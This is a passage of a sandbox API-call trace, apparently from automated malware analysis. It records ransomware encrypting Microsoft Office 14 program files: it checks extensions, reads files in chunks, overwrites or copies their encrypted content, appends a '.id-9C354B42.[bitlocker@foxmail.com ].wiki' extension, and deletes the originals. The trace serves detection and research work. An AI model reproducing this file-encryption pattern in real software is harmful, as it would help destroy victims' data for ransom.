Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0188.352] lstrlenW (lpString=".zip") returned 4 [0188.352] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0188.352] lstrlenW (lpString=".rar") returned 4 [0188.353] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0188.353] lstrlenW (lpString=".bz2") returned 4 [0188.353] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0188.353] lstrlenW (lpString=".7z") returned 3 [0188.353] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0188.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0188.353] lstrlenW (lpString=".dbf") returned 4 [0188.353] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0188.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0188.353] lstrlenW (lpString=".1cd") returned 4 [0188.353] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0188.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0188.353] lstrlenW (lpString=".jpg") returned 4 [0188.353] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0188.353] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0188.353] lstrlenW (lpString="IACOM2.DLL") returned 10 [0188.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0188.354] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=4289376) returned 1 [0188.354] CloseHandle (hObject=0x1dc) returned 1 [0188.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll")) returned 0x20 [0188.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.354] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0188.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0188.355] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc6c | out: lpNewFilePointer=0x0) returned 1 [0188.355] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc2c | out: lpNewFilePointer=0x0) returned 1 [0188.355] ReadFile (in: hFile=0x1dc, lpBuffer=0x4140058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc38, lpOverlapped=0x0 | out: lpBuffer=0x4140058*, lpNumberOfBytesRead=0x378fc38*=0x40000, lpOverlapped=0x0) returned 1 [0188.360] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x15d120, lpNewFilePointer=0x0, dwMoveMethod=0x378fc2c | out: lpNewFilePointer=0x0) returned 1 [0188.360] ReadFile (in: hFile=0x1dc, lpBuffer=0x4180058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc38, lpOverlapped=0x0 | out: lpBuffer=0x4180058*, lpNumberOfBytesRead=0x378fc38*=0x40000, lpOverlapped=0x0) returned 1 [0188.366] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x378fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0188.366] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x3d7360, lpNewFilePointer=0x0, dwMoveMethod=0x378fc2c | out: lpNewFilePointer=0x0) returned 1 [0188.366] ReadFile (in: hFile=0x1dc, lpBuffer=0x41c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc38, lpOverlapped=0x0 | out: lpBuffer=0x41c0058*, lpNumberOfBytesRead=0x378fc38*=0x40000, lpOverlapped=0x0) returned 1 [0188.696] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.696] WriteFile (in: hFile=0x1dc, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x378fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0188.710] SetEndOfFile (hFile=0x1dc) returned 1 [0188.710] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x42f22b8 [0188.714] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc7c | out: lpNewFilePointer=0x0) returned 1 [0188.714] WriteFile (in: hFile=0x1dc, lpBuffer=0x42f22b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc88, lpOverlapped=0x0 | out: lpBuffer=0x42f22b8*, lpNumberOfBytesWritten=0x378fc88*=0x40000, lpOverlapped=0x0) returned 1 [0188.715] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x15d120, lpNewFilePointer=0x0, dwMoveMethod=0x378fc7c | out: lpNewFilePointer=0x0) returned 1 [0188.716] WriteFile (in: hFile=0x1dc, lpBuffer=0x42f22b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc88, lpOverlapped=0x0 | out: lpBuffer=0x42f22b8*, lpNumberOfBytesWritten=0x378fc88*=0x40000, lpOverlapped=0x0) returned 1 [0189.071] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x3d7360, lpNewFilePointer=0x0, dwMoveMethod=0x378fc7c | out: lpNewFilePointer=0x0) returned 1 [0189.071] WriteFile (in: hFile=0x1dc, lpBuffer=0x42f22b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc88, lpOverlapped=0x0 | out: lpBuffer=0x42f22b8*, lpNumberOfBytesWritten=0x378fc88*=0x40000, lpOverlapped=0x0) returned 1 [0189.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f22b8 | out: hHeap=0x5c0000) returned 1 [0189.076] CloseHandle (hObject=0x1dc) returned 1 [0189.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0190.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0190.388] lstrlenW (lpString=".doc") returned 4 [0190.388] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0190.388] lstrlenW (lpString=".docx") returned 5 [0190.388] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0190.388] lstrlenW (lpString=".pdf") returned 4 [0190.388] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0190.388] lstrlenW (lpString=".xls") returned 4 [0190.388] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0190.388] lstrlenW (lpString=".xlsx") returned 5 [0190.388] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0190.388] lstrlenW (lpString=".ppt") returned 4 [0190.388] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0190.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0190.388] lstrlenW (lpString=".zip") returned 4 [0190.388] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0190.388] lstrlenW (lpString=".rar") returned 4 [0190.388] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0190.388] lstrlenW (lpString=".bz2") returned 4 [0190.388] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0190.389] lstrlenW (lpString=".7z") returned 3 [0190.389] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0190.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0190.389] lstrlenW (lpString=".dbf") returned 4 [0190.389] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0190.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0190.389] lstrlenW (lpString=".1cd") returned 4 [0190.389] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0190.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0190.389] lstrlenW (lpString=".jpg") returned 4 [0190.389] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0190.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0190.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0190.389] lstrlenW (lpString=".doc") returned 4 [0190.389] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0190.389] lstrlenW (lpString=".docx") returned 5 [0190.389] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0190.389] lstrlenW (lpString=".pdf") returned 4 [0190.389] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0190.389] lstrlenW (lpString=".xls") returned 4 [0190.389] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0190.389] lstrlenW (lpString=".xlsx") returned 5 [0190.389] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0190.389] lstrlenW (lpString=".ppt") returned 4 [0190.389] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0190.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0190.389] lstrlenW (lpString=".zip") returned 4 [0190.390] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0190.390] lstrlenW (lpString=".rar") returned 4 [0190.390] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0190.390] lstrlenW (lpString=".bz2") returned 4 [0190.390] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0190.390] lstrlenW (lpString=".7z") returned 3 [0190.390] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0190.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0190.390] lstrlenW (lpString=".dbf") returned 4 [0190.390] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0190.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0190.390] lstrlenW (lpString=".1cd") returned 4 [0190.390] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0190.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0190.390] lstrlenW (lpString=".jpg") returned 4 [0190.390] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0190.390] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0190.390] lstrlenW (lpString="BRANDING.DLL") returned 12 [0190.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0192.126] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=15224) returned 1 [0192.126] CloseHandle (hObject=0x1d0) returned 1 [0192.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 0x20 [0192.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0192.126] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.126] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0192.126] GetLastError () returned 0x0 [0192.126] ReadFile (in: hFile=0x1d0, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x3b78, lpOverlapped=0x0) returned 1 [0192.129] WriteFile (in: hFile=0x214, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x3b80, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x3b80, lpOverlapped=0x0) returned 1 [0192.130] ReadFile (in: hFile=0x1d0, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.130] WriteFile (in: hFile=0x214, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.130] SetEndOfFile (hFile=0x214) returned 1 [0192.130] CloseHandle (hObject=0x214) returned 1 [0192.131] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.131] SetEndOfFile (hFile=0x1d0) returned 1 [0192.131] CloseHandle (hObject=0x1d0) returned 1 [0192.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.132] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 1 [0192.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0192.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0192.132] lstrlenW (lpString=".doc") returned 4 [0192.132] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.132] lstrlenW (lpString=".docx") returned 5 [0192.132] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0192.132] lstrlenW (lpString=".pdf") returned 4 [0192.132] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.132] lstrlenW (lpString=".xls") returned 4 [0192.132] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.132] lstrlenW (lpString=".xlsx") returned 5 [0192.132] lstrcmpiW (lpString1=".xlsx", lpString2="G.DLL") returned -1 [0192.132] lstrlenW (lpString=".ppt") returned 4 [0192.132] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0192.132] lstrlenW (lpString=".zip") returned 4 [0192.132] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.132] lstrlenW (lpString=".rar") returned 4 [0192.132] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.132] lstrlenW (lpString=".bz2") returned 4 [0192.132] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.132] lstrlenW (lpString=".7z") returned 3 [0192.133] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0192.133] lstrlenW (lpString=".dbf") returned 4 [0192.133] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0192.133] lstrlenW (lpString=".1cd") returned 4 [0192.133] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0192.133] lstrlenW (lpString=".jpg") returned 4 [0192.133] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0192.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0192.133] lstrlenW (lpString=".doc") returned 4 [0192.133] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0192.133] lstrlenW (lpString=".docx") returned 5 [0192.133] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0192.133] lstrlenW (lpString=".pdf") returned 4 [0192.133] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0192.133] lstrlenW (lpString=".xls") returned 4 [0192.133] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0192.133] lstrlenW (lpString=".xlsx") returned 5 [0192.133] lstrcmpiW (lpString1=".xlsx", lpString2="G.DLL") returned -1 [0192.133] lstrlenW (lpString=".ppt") returned 4 [0192.133] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0192.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0192.133] lstrlenW (lpString=".zip") returned 4 [0192.133] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0192.133] lstrlenW (lpString=".rar") returned 4 [0192.133] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0192.133] lstrlenW (lpString=".bz2") returned 4 [0192.133] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0192.133] lstrlenW (lpString=".7z") returned 3 [0192.134] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0192.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0192.134] lstrlenW (lpString=".dbf") returned 4 [0192.134] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0192.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0192.134] lstrlenW (lpString=".1cd") returned 4 [0192.134] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0192.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0192.134] lstrlenW (lpString=".jpg") returned 4 [0192.134] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0192.134] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0192.134] lstrlenW (lpString="Setup.exe") returned 9 [0192.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0192.134] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=1377144) returned 1 [0192.134] CloseHandle (hObject=0x1d0) returned 1 [0192.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe")) returned 0x20 [0192.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0192.136] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.136] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0192.137] GetLastError () returned 0x0 [0192.137] ReadFile (in: hFile=0x1d0, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0192.162] WriteFile (in: hFile=0x214, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0192.329] ReadFile (in: hFile=0x1d0, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x50388, lpOverlapped=0x0) returned 1 [0192.341] WriteFile (in: hFile=0x214, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x50390, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x50390, lpOverlapped=0x0) returned 1 [0192.491] ReadFile (in: hFile=0x1d0, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.491] WriteFile (in: hFile=0x214, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0192.491] SetEndOfFile (hFile=0x214) returned 1 [0192.492] CloseHandle (hObject=0x214) returned 1 [0192.492] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.492] SetEndOfFile (hFile=0x1d0) returned 1 [0192.495] CloseHandle (hObject=0x1d0) returned 1 [0192.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.495] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe")) returned 1 [0192.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0192.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0192.495] lstrlenW (lpString=".doc") returned 4 [0192.495] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0192.495] lstrlenW (lpString=".docx") returned 5 [0192.495] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0192.495] lstrlenW (lpString=".pdf") returned 4 [0192.495] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0192.495] lstrlenW (lpString=".xls") returned 4 [0192.496] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0192.496] lstrlenW (lpString=".xlsx") returned 5 [0192.496] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") 